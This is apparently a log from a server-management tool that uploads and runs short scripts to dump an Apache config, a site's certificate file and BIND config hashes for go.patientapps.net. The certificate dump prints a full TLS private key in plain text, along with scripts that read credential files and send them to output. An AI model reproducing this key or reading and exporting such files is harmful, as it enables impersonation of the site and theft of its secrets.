PUT: /tmp/pkp471697
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/patientapps_go_net.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-11 06:01:19:
chmod 755 /tmp/pkp471697; /tmp/pkp471697; rm /tmp/pkp471697
2025-10-11 06:01:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_go_net.conf 1491
<VirtualHost *:80>
ServerName go.patientapps.net
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/patientapps_go
<Directory /var/www/patientapps_go>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/go_access.log combined
ErrorLog /var/log/apache2/patientapps/go_error.log
SetEnv pkp_uid 18
SetEnv pkp_owner sii
DirectoryIndex index.html index.php index.htm
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.1-sii.sock|fcgi://localhost"
</FilesMatch>
RewriteEngine On
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=301,L]
</VirtualHost>
<VirtualHost *:443>
ServerName go.patientapps.net
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt
DocumentRoot /var/www/patientapps_go
<Directory /var/www/patientapps_go>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/patientapps/go_secure_access.log combined
ErrorLog /var/log/apache2/patientapps/go_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm
</VirtualHost>
2025-10-11 06:01:19:
PUT: /tmp/pkp674929
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-11 06:01:19:
chmod 755 /tmp/pkp674929; /tmp/pkp674929; rm /tmp/pkp674929
2025-10-11 06:01:19:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/8da89970bb61038d506425dda08af7c6.crt 5353
a9:0c:25:dc:dd:17:ab:2b:fc:96:e4:70:44:9e:08:7a
-----BEGIN CERTIFICATE-----
MIIFADCCA+igAwIBAgISBp0VnAU8BDmYQi2PiHI/dK/5MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDExMDUwMjQ4WhcNMjYwMTA5MDUwMjQ3WjAdMRswGQYDVQQD
ExJnby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQDO4WnaNtuJLDT/EKTIk/QrTHSwTqcJtrAu5kjIuGGV/UKFjUid9pw7+wnB
uMxmfZ7+WJSPs1rQfSV+jZyYwqdgqA51yL8bEETbjr7bmciuRRDyhujzgjLorCj3
XpvZgu+8UmD2+hvhG9q3QWUehM/aIdRPzSD/yr3I+ehLhDQ1O3LiFkDm8g5FBaj5
RwIhoL4XsaZMlNBYSDoIOV/LbcCCZVeNtP1JgRDWwCIo6pov9Jl73h/nvkmiNmbz
7qelvWmRCeoJeEiyuPL098w/DkUayKaRKMa0jpqzyQTct1H3jhlnPy11lmcEn66N
2ukS9dgW+KmzYsItOjqXbDFo5llPAgMBAAGjggIiMIICHjAOBgNVHQ8BAf8EBAMC
BaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAw
HQYDVR0OBBYEFLCT4fOdYDPRGPsTFpGs0fjDRTuuMB8GA1UdIwQYMBaAFAC1KfIt
jm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0
cDovL3IxMi5pLmxlbmNyLm9yZy8wHQYDVR0RBBYwFIISZ28ucGF0aWVudGFwcHMu
bmV0MBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6
Ly9yMTIuYy5sZW5jci5vcmcvMTIyLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA
7wB1AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxhxU4hAAABmdHb+hUAAAQD
AEYwRAIgJodojjjvhK5gXk/3m7nc2W0C09Bq3RiGz3v4DNdQPHACIGFk8veWnLb5
MktZvGFguwTnV9cLGP6S+oX8NqLVwXa9AHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1H
CmkFhbDLFMMUWOcAAAGZ0dv6QwAABAMARzBFAiEA0lt8E62hqGW1aNr7Im6Avf7m
afBIuPeg6q5bc171YgMCIDW+iHAr5zuNjoU/kVFQeEwTE4ySFfsocJCqyx7czb9f
MA0GCSqGSIb3DQEBCwUAA4IBAQCf279FGzjcU415srR61AdAJHsVOX8jElK9euJH
hdv2JzUs5+760bbjRqC2cEERp3wEgUipn9V46W7XxrrgU4YPAYT7beV/v0Cx5SR2
f3Z0VcaWkf9oITfykT0qIZ6i1LF+X/JINjGmo+KMsuk4AkvufaJq/3HZceTi3yqq
Pshi931UKxsbVQQ1zOTvFmWeAmXGODYzPIPePwOUtkAA1QT3SNeIb95tQQyjgLIW
3Mn3bEjFKfJesUIZge3T7YeNeI5dMWtKjM/JadrgemvDJn5lKi20uYSwQjL6XwbZ
Ox59W8Cj2CTqXwLYVMLDX33a9QrngjfX67xXiNUzOPYuOF7G
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDO4WnaNtuJLDT/
EKTIk/QrTHSwTqcJtrAu5kjIuGGV/UKFjUid9pw7+wnBuMxmfZ7+WJSPs1rQfSV+
jZyYwqdgqA51yL8bEETbjr7bmciuRRDyhujzgjLorCj3XpvZgu+8UmD2+hvhG9q3
QWUehM/aIdRPzSD/yr3I+ehLhDQ1O3LiFkDm8g5FBaj5RwIhoL4XsaZMlNBYSDoI
OV/LbcCCZVeNtP1JgRDWwCIo6pov9Jl73h/nvkmiNmbz7qelvWmRCeoJeEiyuPL0
98w/DkUayKaRKMa0jpqzyQTct1H3jhlnPy11lmcEn66N2ukS9dgW+KmzYsItOjqX
bDFo5llPAgMBAAECggEAF6c0GAvvm8ZfJM59WKV55D1wlfvYI0cs65/OsIxMM/7p
zSUzKURZ5o20Nt7vF8TDGed8zNU/y9iTId4FCn4u7uEoDhVurCR3CvdOIQN7K1mg
L2p3VegL9AhDAs1hWkQbLtfoWDSOXXV20z751bxvm0wE3z7fx/8hJcpU4dVytqcp
t/8ZFfnNBAtWBVsgCkZWj1JlEUabZpjb7xSMmT4WlZiEvmgAoZSqE1X7fwQuLgX9
KFjywZNjEENcWO8S/vT9ie3HlPKNoLShHxfllLd9j5DCPVs8rM5jDqsEjMYhwaYZ
bwoTCpSZ9hsJl46qC9F+xz4/8D2VxESyy6saKzoRgQKBgQDvdEESVVtjduW8MYBb
XtlsCtPmuQGDAf2nQHycBvM0c9Vnxg5tJeGrFXsAq7b2hSUO3+kJWwj9yyqwV/YY
w2ZBgpTKRly0y3Lm4Jcp9LQ2OSnwRyFzDhzADx2O6nRAeEt2trwSzVYPKeJbEAbE
ybxO9s8NCZeSklnJi/mOxjCVjwKBgQDdLPWRVnyQtU8JWl+7c4lZtwKzqf+4KizU
25riP/8l8qVP/eEntdb2PVssUcns6RaQk54Q035e80kwmmtJj9T4VJZ8bXNuWNR8
5xLikYP4KNfyCktQgWhTntMv+6sVVMOA/3NZ6Ko8ooDurw1QTvrssSimLbjOCLx2
oqHkL/mgQQKBgEcnElbySi+qGuXrB6se6hhytzit7McTBl52iRCL+CSz7svhTFQe
l4oQ3fX7EGj8c2CSJFsFVAymHE8+NABzv6TjunbIpa+LbN8yCXkMH6ilH9MoL8ZS
gTSIyU24WUb29+WUsxobLeFfnsVUY86B65TDPg8vtHx3RHrhPwyv06v9AoGAO3pT
r3nqlZ+sWX+MLwSq8w1cFKSquAPfen5z8FP1cWcHPbOwUNV9sUpeslRsUOF9x/Nq
lmvJmA8kp4VfRLEBPKbCsUNdv1b0DYK2eWdYbevN5rEN/+BNBe+4KzcqktnwmUgY
5RzEavnoYkeA9Q/IOs6Jd+bjw8RlqiGiF5MvNgECgYA6ZZ8qEEyBJuzgFNLrxSg7
fiHdK+99jJZqg0cgVK74yC/bPsNK6f6o+yrmQzgaTyGPLZK2gOmzkqh3x//yfDg7
vLP19DKBgXkKmfehkULRoirrXH4oo4BxiZ7JAMneeg6CYYtiWlxjK3EwWPg0pkbN
7YN4Gx7cLf0P8OZnauurLQ==
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-11 06:01:19: Establishing a connection
2025-10-11 06:01:20: Establishing a connection
2025-10-11 06:01:21:
PUT: /tmp/pkp339895
#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-11 06:01:22:
chmod 755 /tmp/pkp339895; /tmp/pkp339895; rm /tmp/pkp339895
2025-10-11 06:01:22:
0
2025-10-11 20:43:21: Establishing a connection
2025-10-11 20:43:33: Establishing a connection
2025-10-11 20:43:33:
PUT: /tmp/pkp588358
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-10-11 20:43:34:
runuser -l bind -s /bin/bash -c '/tmp/pkp588358; rm /tmp/pkp588358'
2025-10-11 20:43:34:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
